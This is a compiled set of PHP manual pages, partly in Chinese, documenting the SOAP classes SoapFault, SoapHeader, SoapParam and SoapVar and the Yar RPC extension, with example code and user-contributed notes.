  • ? SoapFault
  • SoapFault::__toString ?
  • PHP Manual
  • SoapFault
  • SoapFault constructor

SoapFault::__construct

(PHP 5, PHP 7, PHP 8)

SoapFault::__construct — SoapFault constructor

说明

public SoapFault::__construct(
array|string|null $code,
string $string,
?string $actor = null,
mixed $details = null,
?string $name = null,
mixed $headerFault = null
)

This class is used to send SOAP fault responses from the PHP handler. faultcode, faultstring, faultactor and detail are standard elements of a SOAP Fault.

参数

faultcode

The error code of the SoapFault.

faultstring

The error message of the SoapFault.

faultactor

A string identifying the actor that caused the error.

detail

More details about the cause of the error.

faultname

Can be used to select the proper fault encoding from WSDL.

headerfault

Can be used during SOAP header handling to report an error in the response header.

示例

Example #1 Some examples

<?php
function test($x)
{
return new SoapFault("Server", "Some error message");
}

$server = new SoapServer(null, array('uri' => "http://test-uri/"));
$server->addFunction("test");
$server->handle();
?>

It is possible to use PHP exception mechanism to throw SOAP Fault.

Example #2 Some examples

<?php
function test($x)
{
throw new SoapFault("Server", "Some error message");
}

$server = new SoapServer(null, array('uri' => "http://test-uri/"));
$server->addFunction("test");
$server->handle();
?>

参见

  • SoapServer::fault() - Issue SoapServer fault indicating an error
  • is_soap_fault() - Checks if a SOAP call has failed

User Contributed Notes

csnaitsirch at web dot de 01-Apr-2010 05:04
The first Parameter of the constructor, the faultcode, of SoapFault must be a string. Otherwise it will lead to an error.

<?php
throw new SoapFault(1, "Error message!"); // wrong
throw new SoapFault("1", "Error message!"); // right
?>


Obtain a string representation of a SoapFault

  • ? SoapFault::__construct
  • SoapHeader ?
  • PHP Manual
  • SoapFault
  • Obtain a string representation of a SoapFault

SoapFault::__toString

(PHP 5, PHP 7, PHP 8)

SoapFault::__toString — Obtain a string representation of a SoapFault

说明

public SoapFault::__toString(): string

Returns a string representation of the SoapFault.

参数

此函数没有参数。

返回值

A string describing the SoapFault.

User Contributed Notes

There are no user contributed notes for this page.


The SoapHeader class

(PHP 5, PHP 7, PHP 8)

简介

Represents a SOAP header.

类摘要

class SoapHeader {
/* 属性 */
public string $namespace;
public string $name;
public mixed $data = null;
public bool $mustUnderstand;
public string|int|null $actor;
/* 方法 */
public __construct(
string $namespace,
string $name,
mixed $data = ?,
bool $mustunderstand = ?,
string $actor = ?
)
}

属性

actor

data

mustUnderstand

name

namespace

Table of Contents

  • SoapHeader::__construct — SoapHeader constructor

User Contributed Notes

mixmaster1413 at gmail dot com 22-Jun-2023 02:15
Something I came across that I feel should be noted here is if you come across the error "cannot be processed at the receiver, due to an addressfilter mismatch at the endpointdispatcher. check that the sender and receiver's endpointaddresses agree." and you are absolutely sure your protocols and the service URL matches, send 'To' SoapHeader.

$soapHeaders = array(
            new \SoapHeader('http://www.w3.org/2005/08/addressing', 'Action', 'your-action', true),
            new \SoapHeader('http://www.w3.org/2005/08/addressing', 'To', 'your-service-endpoint-url')
        );
        $soapClient->__setSoapHeaders($soapHeaders);
ericvaneldik at gmail dot com 08-Apr-2019 07:16
If you want to create an soap header wihtout namespace and without an item key value setup, you can use SoapVar

To get this:
<SOAP-ENV:Header>
    <IdentityHeader>
      <SessionID>123456789</SessionID>
    </IdentityHeader>
  </SOAP-ENV:Header>

you can use this php code:
<?php
$headerVar = new SoapVar('<IdentityHeader><SessionID>123456789</SessionID></IdentityHeader>',
      XSD_ANYXML);
$header = new SoapHeader('http://tempuri.org/','RequestParams',
      $headerVar);
?>
abdul dot rashid at paytabs dot co 13-Mar-2016 10:06
Just to add some note regarding his john at jtresponse dot co dot uk

In PHP you can try following code to avoid the <item><key/>

$Auth = new stdClass();
$Auth->SystemId = "DATA";
$Auth->UserName = "USERNAME";
$Auth->Password = "PASSWORD";

$header = new SoapHeader('NAMESPACE','Auth',$Auth,false);
$soapClient->__setSoapHeaders($header);

  <SOAP-ENV:Header>
    <ns1:Auth>
      <ns1:SystemId>DATA</ns1:SystemId>
      <ns1:UserName>USERNAME</ns1:UserName>
      <ns1:Password>PASSWORD</ns1:Password>
    </ns1:Auth>
  </SOAP-ENV:Header>
voroks at logics dot net dot au 03-Jul-2015 12:43
Example by john at jtresponse dot co dot uk does miss one important point: to be able to add attributes they must be mentioned in WSDL. If they not exist in WSDL they WILL NOT appear as attributes but rather <item><key/><value/></item> elements.
john at jtresponse dot co dot uk 13-Mar-2012 01:30
None of the examples really do it for me.
Note: you should NOT need to hard-code any XML.

Here is an example of creating a nested header and including a parameter.

$client = new SoapClient(WSDL,array());

$auth = array(
        'UserName'=>'USERNAME',
        'Password'=>'PASSWORD',
        'SystemId'=> array('_'=>'DATA','Param'=>'PARAM'),
        );
  $header = new SoapHeader('NAMESPACE','Auth',$auth,false);
  $client->__setSoapHeaders($header);

Gives the following header XML:

  <SOAP-ENV:Header>
    <ns1:Auth>
      <ns1:SystemId Param="PARAM">DATA</ns1:SystemId>
      <ns1:UserName>USERNAME</ns1:UserName>
      <ns1:Password>PASSWORD</ns1:Password>
    </ns1:Auth>
  </SOAP-ENV:Header>


SoapHeader constructor

  • ? SoapHeader
  • SoapParam ?
  • PHP Manual
  • SoapHeader
  • SoapHeader constructor

SoapHeader::__construct

(PHP 5, PHP 7, PHP 8)

SoapHeader::__construct — SoapHeader constructor

说明

public SoapHeader::__construct(
string $namespace,
string $name,
mixed $data = ?,
bool $mustunderstand = ?,
string $actor = ?
)

Constructs a new SoapHeader object.

参数

namespace

The namespace of the SOAP header element.

name

The name of the SoapHeader object.

data

A SOAP header's content. It can be a PHP value or a SoapVar object.

mustUnderstand

Value of the mustUnderstand attribute of the SOAP header element.

actor

Value of the actor attribute of the SOAP header element.

示例

Example #1 SoapHeader::__construct() example

<?php
$client = new SoapClient(null, array('location' => "http://localhost/soap.php",
'uri' => "http://test-uri/"));
$client->__soapCall("echoVoid", null, null,
new SoapHeader('http://soapinterop.org/echoheader/',
'echoMeStringRequest',
'hello world'));
?>

参见

  • SoapClient::__soapCall() - Calls a SOAP function
  • SoapVar::__construct() - SoapVar constructor
  • SoapParam::__construct() - SoapParam constructor
  • SoapServer::addSoapHeader() - Add a SOAP header to the response

User Contributed Notes

There are no user contributed notes for this page.


The SoapParam class

(PHP 5, PHP 7, PHP 8)

简介

Represents parameter to a SOAP call.

类摘要

class SoapParam {
/* 属性 */
public string $param_name;
public mixed $param_data;
/* 方法 */
public __construct(mixed $data, string $name)
}

属性

param_data

param_name

Table of Contents

  • SoapParam::__construct — SoapParam constructor

User Contributed Notes

There are no user contributed notes for this page.


SoapParam constructor

  • ? SoapParam
  • SoapVar ?
  • PHP Manual
  • SoapParam
  • SoapParam constructor

SoapParam::__construct

(PHP 5, PHP 7, PHP 8)

SoapParam::__construct — SoapParam constructor

说明

public SoapParam::__construct(mixed $data, string $name)

Constructs a new SoapParam object.

参数

data

The data to pass or return. This parameter can be passed directly as PHP value, but in this case it will be named as paramN and the SOAP service may not understand it.

name

The parameter name.

示例

Example #1 SoapParam::__construct() example

<?php
$client = new SoapClient(null,array('location' => "http://localhost/soap.php",
'uri' => "http://test-uri/"));
$client->SomeFunction(new SoapParam($a, "a"),
new SoapParam($b, "b"),
new SoapParam($c, "c"));
?>

参见

  • SoapClient::__soapCall() - Calls a SOAP function
  • SoapVar::__construct() - SoapVar constructor

User Contributed Notes

There are no user contributed notes for this page.


The SoapVar class

(PHP 5, PHP 7, PHP 8)

简介

A class representing a variable or object for use with SOAP services.

类摘要

class SoapVar {
/* 属性 */
public int $enc_type;
public mixed $enc_value = null;
public ?string $enc_stype = null;
public ?string $enc_ns = null;
public ?string $enc_name = null;
public ?string $enc_namens = null;
/* 方法 */
public __construct(
mixed $data,
?int $encoding,
?string $typeName = null,
?string $typeNamespace = null,
?string $nodeName = null,
?string $nodeNamespace = null
)
}

属性

enc_name

enc_namens

enc_ns

enc_type

enc_stype

enc_value

Table of Contents

  • SoapVar::__construct — SoapVar constructor

User Contributed Notes

seth dot johnson at gmail dot com 25-Feb-2015 12:09
It is not documented and thus may be subject to change but if you need to inspect the constructed SoapVar it sets everything you pass it on public variables:

<?php
$foo = new \stdClass();
$foosoap = new \SoapVar($foo, SOAP_ENC_OBJECT, 'Foo');
var_dump($foosoap);
echo $foosoap->enc_stype;
echo get_class($foosoap->enc_value);
?>

Will output (tested in PHP 5.3.3 cli):

object(SoapVar)#2 (3) {
  ["enc_type"]=>
  int(301)
  ["enc_value"]=>
  object(stdClass)#1 (0) {
  }
  ["enc_stype"]=>
  string(3) "Foo"
}

Foo
stdClass


SoapVar constructor

  • ? SoapVar
  • Yar ?
  • PHP Manual
  • SoapVar
  • SoapVar constructor

SoapVar::__construct

(PHP 5, PHP 7, PHP 8)

SoapVar::__construct — SoapVar constructor

说明

public SoapVar::__construct(
mixed $data,
?int $encoding,
?string $typeName = null,
?string $typeNamespace = null,
?string $nodeName = null,
?string $nodeNamespace = null
)

Constructs a new SoapVar object.

参数

data

The data to pass or return.

encoding

The encoding ID, one of the XSD_... constants.

type_name

The type name.

type_namespace

The type namespace.

node_name

The XML node name.

node_namespace

The XML node namespace.

更新日志

版本 | 说明
8.0.3 | typeName, typeNamespace, nodeName,and nodeNamespace are nullable now.

示例

Example #1 SoapVar::__construct() example

<?php
class SOAPStruct {
function SOAPStruct($s, $i, $f)
{
$this->varString = $s;
$this->varInt = $i;
$this->varFloat = $f;
}
}
$client = new SoapClient(null, array('location' => "http://localhost/soap.php",
'uri' => "http://test-uri/"));
$struct = new SOAPStruct('arg', 34, 325.325);
$soapstruct = new SoapVar($struct, SOAP_ENC_OBJECT, "SOAPStruct", "http://soapinterop.org/xsd");
$client->echoStruct(new SoapParam($soapstruct, "inputStruct"));
?>

参见

  • SoapClient::__soapCall() - Calls a SOAP function
  • SoapParam::__construct() - SoapParam constructor

User Contributed Notes

There are no user contributed notes for this page.


Yet Another RPC Framework

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 示例
  • Yar_Server — The Yar_Server class
    • Yar_Server::__construct — 注册 HTTP RPC Server
    • Yar_Server::handle — 启动HTTP RPC Server
  • Yar_Client — Yar_Client 类
    • Yar_Client::__call — 调用远程服务
    • Yar_Client::__construct — 创建一个客户端实例
    • Yar_Client::setOpt — 设置调用的配置
  • Yar_Concurrent_Client — Yar_Concurrent_Client 类
    • Yar_Concurrent_Client::call — 注册一个并行的服务调用
    • Yar_Concurrent_Client::loop — 发送所有注册的并行调用
    • Yar_Concurrent_Client::reset — Clean all registered calls
  • Yar_Server_Exception — Yar_Server_Exception 类
    • Yar_Server_Exception::getType — 检索异常的原始类型
  • Yar_Client_Exception — Yar_Client_Exception 类
    • Yar_Client_Exception::getType — 检索异常的类型

User Contributed Notes

There are no user contributed notes for this page.


简介

Yar 是一个轻量级, 高效的 RPC 框架, 它提供了一种简单方法来让 PHP 项目之间可以互相远程调用对方的本地方法. 并且 Yar 也提供了并行调用的能力. 可以支持同时调用多个远程服务的方法.

User Contributed Notes

There are no user contributed notes for this page.


需求

如果需要使用 Msgpack 作为打包协议，则需要加上 --enable-msgpack 编译 Yar。

User Contributed Notes

There are no user contributed notes for this page.


安装

此 » PECL 扩展未与 PHP 捆绑。

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/yar.

PECL 扩展的 DLL 当前不可用。参见 在 Windows 上构建章节。

User Contributed Notes

liubinn_208391 at qq dot com 08-Dec-2013 05:35
Yar Concurrent Client doesn't work on Mac OS.  It is because the cURL shipped with Mac has some difference.

you can resolve that by install a new cURL, like (brew install curl).

then use :
"export DYLD_LIBRARY_PATH=/path-to-new-curl/lib:$DYLD_LIBRARY_PATH"

make the PHP use the new cURL.

of course you can also re-compile your PHP with --with-curl=/path-to-new-curl/


运行时配置

这些函数的行为受 php.ini 中的设置影响。

Yar 配置选项
名字 | 默认 | 可修改范围 | 更新日志
yar.packager | php | PHP_INI_SYSTEM |
yar.debug | Off | PHP_INI_ALL |
yar.connect_timeout | 1000 | PHP_INI_ALL |
yar.timeout | 5000 | PHP_INI_ALL |
yar.expose_info | On | PHP_INI_SYSTEM |

这是配置指令的简短说明。

yar.packager string

设置Yar的打包工具, 可以是PHP(serialize), JSON, Msgpack(这个需要编译的时候指定--enable-msgpack).

yar.debug string

打开的时候, Yar会把请求过程的日志都打印出来(到stderr).

yar.connect_timeout int

连接超时(毫秒为单位)

yar.timeout int

处理超时(毫秒为单位)

yar.expose_info bool

如果关闭, 则当通过浏览器访问Server的时候, 不会出现Server Info信息.

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

YAR_VERSION (string)
YAR_CLIENT_PROTOCOL_HTTP (int)
YAR_OPT_PACKAGER (int)
YAR_OPT_TIMEOUT (int)
YAR_OPT_CONNECT_TIMEOUT (int)
YAR_OPT_HEADER (array)
自 2.0.4 起
YAR_PACKAGER_PHP (string)
YAR_PACKAGER_JSON (string)
YAR_ERR_OKEY (int)
YAR_ERR_OUTPUT (int)
YAR_ERR_TRANSPORT (int)
YAR_ERR_REQUEST (int)
YAR_ERR_PROTOCOL (int)
YAR_ERR_PACKAGER (int)
YAR_ERR_EXCEPTION (int)

User Contributed Notes

There are no user contributed notes for this page.


示例

Example #1 Yar Server示例

<?php

/* 假设这个页面的访问路径是: http://example.com/operator.php */

class Operator {

/**
* Add two operands
* @param interge
* @return interge
*/
public function add($a, $b) {
return $this->_add($a, $b);
}

/**
* Sub
*/
public function sub($a, $b) {
return $a - $b;
}

/**
* Mul
*/
public function mul($a, $b) {
return $a * $b;
}

/**
* Protected methods will not be exposed
* @param interge
* @return interge
*/
protected function _add($a, $b) {
return $a + $b;
}
}

$server = new Yar_Server(new Operator());
$server->handle();
?>

Example #2 通过浏览器访问(GET请求)

以上示例的输出类似于：

Yar Server Info

Example #3 Yar Client示例

<?php
$client = new yar_client("http://example.com/operator.php");

/* call directly */
var_dump($client->add(1, 2));

/* call via call */
var_dump($client->call("add", array(3, 2)));

/* __add can not be called */
var_dump($client->_add(1, 2));
?>

以上示例的输出类似于：

int(3)
int(5)
PHP Fatal error:  Uncaught exception 'Yar_Server_Exception' with message 'call to api Operator::_add() failed' in *

Example #4 Yar Concurrent Client示例

<?php
function callback($ret, $callinfo) {
echo $callinfo['method'] , " result: ", $ret , "\n";
}

/* 注册一个异步调用 */
Yar_Concurrent_Client::call("http://example.com/operator.php", "add", array(1, 2), "callback");
Yar_Concurrent_Client::call("http://example.com/operator.php", "sub", array(2, 1), "callback");
Yar_Concurrent_Client::call("http://example.com/operator.php", "mul", array(2, 2), "callback");

/* 发送所有注册的调用, 等待返回, 返回后Yar会调用callback回掉函数 */
Yar_Concurrent_Client::loop();
?>

以上示例的输出类似于：

mul result: 4
sub result: 1
add result: 3

User Contributed Notes

124960772 at qq dot com 10-Nov-2015 11:03
<?php
function callback($ret, $callinfo) {
    echo $callinfo['method'] , " result: ", $ret , "\n";
}

/* 注册一个异步调用 */
Yar_Concurrent_Client::call("http://example.com/operator.php", "add", array(1, 2), "callback");
/* 发送所有注册的调用, 等待返回, 返回后Yar会调用callback回掉函数 */
Yar_Concurrent_Client::loop();
/* 重置call ,否则上面的call会调用*/
Yar_Concurrent_Client::reset();
Yar_Concurrent_Client::call("http://example.com/operator.php", "sub", array(2, 1), "callback");
Yar_Concurrent_Client::loop();

?>


The Yar_Server class

(No version information available, might only be in Git)

简介

类摘要

class Yar_Server {
/* 属性 */
protected $_executor;
/* 方法 */
final public __construct(Object $obj)
public handle(): bool
}

属性

_executor

Table of Contents

  • Yar_Server::__construct — 注册 HTTP RPC Server
  • Yar_Server::handle — 启动HTTP RPC Server

User Contributed Notes

There are no user contributed notes for this page.


注册 HTTP RPC Server

  • ? Yar_Server
  • Yar_Server::handle ?
  • PHP Manual
  • Yar_Server
  • 注册 HTTP RPC Server

Yar_Server::__construct

(PECL yar >= 1.0.0)

Yar_Server::__construct — 注册 HTTP RPC Server

说明

final public Yar_Server::__construct(Object $obj)

创建一个 Yar 的 HTTP RPC 服务，参数 $obj 对象的所有公开方法都会被注册为服务函数， 可以被 RPC 调用。

参数

obj

一个对象实例, 这个对象的所有公开方法都会被注册为服务函数.

返回值

返回一个 Yar_Server 的实例。

示例

Example #1 Yar_Server::__construct() 示例

<?php
class API {
/**
* the doc info will be generated automatically into service info page.
* @params
* @return
*/
public function some_method($parameter, $option = "foo") {
return "some_method";
}

protected function client_can_not_see() {
}
}

$service = new Yar_Server(new API());
$service->handle();
?>

以上示例的输出类似于：

参见

  • Yar_Server::handle() - 启动HTTP RPC Server
    •

User Contributed Notes

There are no user contributed notes for this page.


启动HTTP RPC Server

  • ? Yar_Server::__construct
  • Yar_Client ?
  • PHP Manual
  • Yar_Server
  • 启动HTTP RPC Server

Yar_Server::handle

(PECL yar >= 1.0.0)

Yar_Server::handle — 启动HTTP RPC Server

说明

public Yar_Server::handle(): bool

启动服务, 开始接受客户端的调用请求.

Note:

来自客户端的调用, 都是通过 POST 请求发送过来的. 如果一个 GET 请求访问到这个 Server, 那在 yar.expose_info 开启的情况下, 这个服务的 Server Info 信息会被展现.

参数

此函数没有参数。

返回值

boolean

示例

Example #1 Yar_Server::handle() 示例

<?php
class API {
/**
* the doc info will be generated automatically into service info page.
* @params
* @return
*/
public function some_method($parameter, $option = "foo") {
}

protected function client_can_not_see() {
}
}

$service = new Yar_Server(new API());
$service->handle();
?>

以上示例的输出类似于：

参见

  • Yar_Server::__construct() - 注册 HTTP RPC Server
    •

User Contributed Notes

There are no user contributed notes for this page.


Yar_Client 类

(No version information available, might only be in Git)

简介

类摘要

class Yar_Client {
/* 属性 */
protected $_protocol;
protected $_uri;
protected $_options;
protected $_running;
/* 方法 */
public __call(string $method, array $parameters): void
final public __construct(string $url, array $options = ?)
public setOpt(int $name, mixed $value): Yar_Client|false
}

属性

_protocol

_uri

_options

_running

Table of Contents

  • Yar_Client::__call — 调用远程服务
  • Yar_Client::__construct — 创建一个客户端实例
  • Yar_Client::setOpt — 设置调用的配置

User Contributed Notes

porschegt23 at foxmail dot com 05-Jul-2016 11:07
A simple example on here:

server.php
<?php
class API {

    public function api($parameter = "", $option = "foo") {
          return $this->client_can_not_see($parameter);
    }

    public function doAdd($a = 0, $b = 0) {
          return $a+$b;
    }

    protected function client_can_not_see( $name ) {
      return "你好$name~";
    }
}

$service = new Yar_Server ( new API () );
$service->handle ();
?>
client.php
<?php
  $client = new Yar_Client("http://host/server.php");
  $result = $client->api("parameter");
  echo $result.'<hr>';
  echo $client->doAdd(10, 20);
?>


调用远程服务

  • ? Yar_Client
  • Yar_Client::__construct ?
  • PHP Manual
  • Yar_Client
  • 调用远程服务

Yar_Client::__call

(PECL yar >= 1.0.0)

Yar_Client::__call — 调用远程服务

说明

public Yar_Client::__call(string $method, array $parameters): void

发起一个 RPC 调用, 并且得到返回值. 如果服务端的远程调用抛出异常, 那么本地也会相应的抛出一个 Yar_Server_Exception 异常。

参数

method

远程服务的名字.

parameters

调用参数.

返回值

示例

Example #1 Yar_Client::__call() 示例

<?php

$client = new Yar_Client("http://host/api/");

/* 调用远程服务的some_method服务 */
$result = $client->some_method("parameter");

?>

以上示例的输出类似于：

参见

  • Yar_Client::setOpt() - 设置调用的配置
    •

User Contributed Notes

There are no user contributed notes for this page.


创建一个客户端实例

  • ? Yar_Client::__call
  • Yar_Client::setOpt ?
  • PHP Manual
  • Yar_Client
  • 创建一个客户端实例

Yar_Client::__construct

(PECL yar >= 1.0.0)

Yar_Client::__construct — 创建一个客户端实例

说明

final public Yar_Client::__construct(string $url, array $options = ?)

创建一个 Yar_Client 到一个 Yar_Server 的实例.

参数

url

服务端的 HTTP URL 路径.

返回值

Yar_Client 实例.

示例

Example #1 Yar_Client::__construct() 示例

<?php
$client = new Yar_Client("http://host/api/");
?>

以上示例的输出类似于：

参见

  • Yar_Client::__call() - 调用远程服务
    •

  • Yar_Client::setOpt() - 设置调用的配置
    •

User Contributed Notes

There are no user contributed notes for this page.


设置调用的配置

  • ? Yar_Client::__construct
  • Yar_Concurrent_Client ?
  • PHP Manual
  • Yar_Client
  • 设置调用的配置

Yar_Client::setOpt

(PECL yar >= 1.0.0)

Yar_Client::setOpt — 设置调用的配置

说明

public Yar_Client::setOpt(int $name, mixed $value): Yar_Client|false

设置调用远程服务的一些配置，比如超时值、打包类型等。

参数

name

可以是： YAR_OPT_PACKAGER、 YAR_OPT_PERSISTENT（需要服务端支持）、 YAR_OPT_TIMEOUT、 YAR_OPT_CONNECT_TIMEOUT、 YAR_OPT_HEADER（自 2.0.4 起）、 YAR_OPT_PROXY（自 2.2.0 起）

value

返回值

成功时返回 $this 或者在失败时返回 false。

示例

Example #1 Yar_Client::setOpt() 示例

<?php

$cient = new Yar_Client("http://host/api/");

//Set timeout to 1s
$client->SetOpt(YAR_OPT_CONNECT_TIMEOUT, 1000);

//Set packager to JSON
$client->SetOpt(YAR_OPT_PACKAGER, "json");

//Set Custom headers
$client->SetOpt(YAR_OPT_HEADER, array("hr1: val1", "hd2: val2"));

// Set Http Proxy
$client->SetOpt(YAR_OPT_PROXY, "127.0.0.1:8888");

/* call remote service */
$result = $client->some_method("parameter");
?>

以上示例的输出类似于：

参见

  • Yar_Client::__call() - 调用远程服务
    •

User Contributed Notes

There are no user contributed notes for this page.


Yar_Concurrent_Client 类

(No version information available, might only be in Git)

简介

类摘要

class Yar_Concurrent_Client {
/* 属性 */
static $_callstack;
static $_callback;
static $_error_callback;
/* 方法 */
public static call(
string $uri,
string $method,
array $parameters = ?,
callable $callback = ?,
callable $error_callback = ?,
array $options = ?
): int
public static loop(callable $callback = ?, callable $error_callback = ?): bool
public static reset(): bool
}

属性

_callstack

_callback

_error_callback

Table of Contents

  • Yar_Concurrent_Client::call — 注册一个并行的服务调用
  • Yar_Concurrent_Client::loop — 发送所有注册的并行调用
  • Yar_Concurrent_Client::reset — Clean all registered calls

User Contributed Notes

There are no user contributed notes for this page.


注册一个并行的服务调用

  • ? Yar_Concurrent_Client
  • Yar_Concurrent_Client::loop ?
  • PHP Manual
  • Yar_Concurrent_Client
  • 注册一个并行的服务调用

Yar_Concurrent_Client::call

(PECL yar >= 1.0.0)

Yar_Concurrent_Client::call — 注册一个并行的服务调用

说明

public static Yar_Concurrent_Client::call(
string $uri,
string $method,
array $parameters = ?,
callable $callback = ?,
callable $error_callback = ?,
array $options = ?
): int

注册一个并行的(异步的)远程服务调用, 不过这个调用请求不会被立即发出, 而是会在接下来调用 Yar_Concurrent_Client::loop()的时候才真正的发送出去.

参数

uri

RPC 服务的 URI(http 或 tcp).

method

调用的服务名字(也就是服务方法名).

parameters

调用的参数.

callback

回调函数, 在远程服务的返回到达的时候被Yar调用, 从而可以处理返回内容.

返回值

唯一 ID， 可用于区分到底是那个调用的返回.

示例

Example #1 Yar_Concurrent_Client::call()示例

<?php
function callback($retval, $callinfo) {
var_dump($retval);
}

function error_callback($type, $error, $callinfo) {
error_log($error);
}

Yar_Concurrent_Client::call("http://host/api/", "some_method", array("parameters"), "callback");
Yar_Concurrent_Client::call("http://host/api/", "some_method", array("parameters")); // if the callback is not specificed,
// callback in loop will be used
Yar_Concurrent_Client::call("http://host/api/", "some_method", array("parameters"), "callback", NULL, array(YAR_OPT_PACKAGER => "json"));
//this server accept json packager
Yar_Concurrent_Client::call("http://host/api/", "some_method", array("parameters"), "callback", NULL, array(YAR_OPT_TIMEOUT=>1));
//custom timeout

// 这个时候请求都还没有发出
?>

以上示例的输出类似于：

参见

  • Yar_Concurrent_Client::loop() - 发送所有注册的并行调用
    •

  • Yar_Concurrent_Client::reset() - Clean all registered calls
    •

  • Yar_Server::__construct() - 注册 HTTP RPC Server
    •

  • Yar_Server::handle() - 启动HTTP RPC Server
    •

User Contributed Notes

There are no user contributed notes for this page.


发送所有注册的并行调用

  • ? Yar_Concurrent_Client::call
  • Yar_Concurrent_Client::reset ?
  • PHP Manual
  • Yar_Concurrent_Client
  • 发送所有注册的并行调用

Yar_Concurrent_Client::loop

(PECL yar >= 1.0.0)

Yar_Concurrent_Client::loop — 发送所有注册的并行调用

说明

public static Yar_Concurrent_Client::loop(callable $callback = ?, callable $error_callback = ?): bool

发送所有的已经通过 Yar_Concurrent_Client::call() 注册的并行调用, 并且等待返回.

参数

callback

如果这个回掉函数被设置, 那么 Yar 在发送出所有的请求之后立即调用一次这个回掉函数(此时还没有任何请求返回), 调用的时候 $callinfo 参数是 NULL。

如果在注册并行调用的时候制定了 callback, 那么那个 callback 有更高的优先级.

error_callback

错误回掉函数, 如果设置了, 那么 Yar 在出错的时候会调用这个回掉函数.

返回值

示例

Example #1 Yar_Concurrent_Client::loop() 示例

<?php
function callback($retval, $callinfo) {
if ($callinfo == NULL) {
echo "现在, 所有的请求都发出去了, 还没有任何请求返回\n";
} else {
echo "这是一个远程调用的返回, 调用的服务名是 ", $callinfo["method"],
". 调用的 sequence 是 " , $callinfo["sequence"] , "\n";
var_dump($retval);
}
}

function error_callback($type, $error, $callinfo) {
error_log($error);
}

Yar_Concurrent_Client::call("http://host/api/", "some_method", array("parameters"), "callback");
Yar_Concurrent_Client::call("http://host/api/", "some_method", array("parameters")); // if the callback is not specificed,
// callback in loop will be used
Yar_Concurrent_Client::call("http://host/api/", "some_method", array("parameters"), "callback", NULL, array(YAR_OPT_PACKAGER => "json"));
//this server accept json packager
Yar_Concurrent_Client::call("http://host/api/", "some_method", array("parameters"), "callback", NULL, array(YAR_OPT_TIMEOUT=>1));
//custom timeout

Yar_Concurrent_Client::loop("callback", "error_callback"); //send the requests,
//the error_callback is optional
?>

以上示例的输出类似于：

现在, 所有的请求都发出去了, 还没有任何请求返回
这是一个远程调用的返回, 调用的服务名是 some_method, 调用的 sequence 是 4
string(11) "some_method"
这是一个远程调用的返回, 调用的服务名是 some_method, 调用的 sequence 是 1
string(11) "some_method"
这是一个远程调用的返回, 调用的服务名是 some_method, 调用的 sequence 是 2
string(11) "some_method"
这是一个远程调用的返回, 调用的服务名是 some_method, 调用的 sequence 是 3
string(11) "some_method"

参见

  • Yar_Concurrent_Client::call() - 注册一个并行的服务调用
  • Yar_Concurrent_Client::reset() - Clean all registered calls
  • Yar_Server::__construct() - 注册 HTTP RPC Server
  • Yar_Server::handle() - 启动HTTP RPC Server

User Contributed Notes

There are no user contributed notes for this page.


Clean all registered calls

  • ? Yar_Concurrent_Client::loop
  • Yar_Server_Exception ?
  • PHP Manual
  • Yar_Concurrent_Client
  • Clean all registered calls

Yar_Concurrent_Client::reset

(PECL yar >= 1.2.4)

Yar_Concurrent_Client::reset — Clean all registered calls

说明

public static Yar_Concurrent_Client::reset(): bool

Clean all registered calls

参数

返回值

示例

Example #1 Yar_Concurrent_Client::reset() example

以上示例的输出类似于：

参见

  • Yar_Concurrent_Client::call() - 注册一个并行的服务调用
    •

  • Yar_Concurrent_Client::loop() - 发送所有注册的并行调用
    •

  • Yar_Server::__construct() - 注册 HTTP RPC Server
    •

  • Yar_Server::handle() - 启动HTTP RPC Server
    •

User Contributed Notes

There are no user contributed notes for this page.


Yar_Server_Exception 类

(No version information available, might only be in Git)

简介

如果服务端抛出异常，将会在客户端抛出 Yar_Server_Exception。

类摘要

class Yar_Server_Exception extends Exception {
/* 属性 */
protected $_type;
/* 方法 */
public getType(): string
/* 继承的方法 */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

属性

message

code

file

line

_type

Table of Contents

  • Yar_Server_Exception::getType — 检索异常的原始类型

User Contributed Notes

There are no user contributed notes for this page.


检索异常的原始类型

  • ? Yar_Server_Exception
  • Yar_Client_Exception ?
  • PHP Manual
  • Yar_Server_Exception
  • 检索异常的原始类型

Yar_Server_Exception::getType

(PECL yar >= 1.0.0)

Yar_Server_Exception::getType — 检索异常的原始类型

说明

public Yar_Server_Exception::getType(): string

当服务端的服务函数抛出异常的时候, 客户端本地会响应的抛出一个 Yar_Server_Exception 异常. 有一个属性, 标明了服务端异常的类型. 这个方法就是获取这个异常类型.

参数

此函数没有参数。

返回值

string

示例

Example #1 Yar_Server_Exception::getType() 示例

//Server.php
<?php
class Custom_Exception extends Exception {};

class API {
public function throw_exception($name) {
throw new Custom_Exception($name);
}
}

$service = new Yar_Server(new API());
$service->handle();
?>

//Client.php
<?php
$client = new Yar_Client("http://host/api.php");

try {
$client->throw_exception("client");
} catch (Yar_Server_Exception $e) {
var_dump($e->getType());
var_dump($e->getMessage());
}

以上示例的输出类似于：

string(16) "Custom_Exception"
string(6) "client"

参见

User Contributed Notes

There are no user contributed notes for this page.


Yar_Client_Exception 类

(No version information available, might only be in Git)

简介

类摘要

class Yar_Client_Exception extends Exception {
/* 属性 */
/* 方法 */
public getType(): string
/* 继承的方法 */
final public Exception::getMessage(): string
final public Exception::getPrevious(): ?Throwable
final public Exception::getCode(): int
final public Exception::getFile(): string
final public Exception::getLine(): int
final public Exception::getTrace(): array
final public Exception::getTraceAsString(): string
public Exception::__toString(): string
private Exception::__clone(): void
}

属性

message

code

file

line

Table of Contents

  • Yar_Client_Exception::getType — 检索异常的类型

User Contributed Notes

There are no user contributed notes for this page.


检索异常的类型

  • ? Yar_Client_Exception
  • XML-RPC ?
  • PHP Manual
  • Yar_Client_Exception
  • 检索异常的类型

Yar_Client_Exception::getType

(PECL yar >= 1.0.0)

Yar_Client_Exception::getType — 检索异常的类型

说明

public Yar_Client_Exception::getType(): string

参数

此函数没有参数。

返回值

返回 "Yar_Exception_Client"。

示例

Example #1 Yar_Client_Exception::getType() 示例

<?php

/* ... */

?>

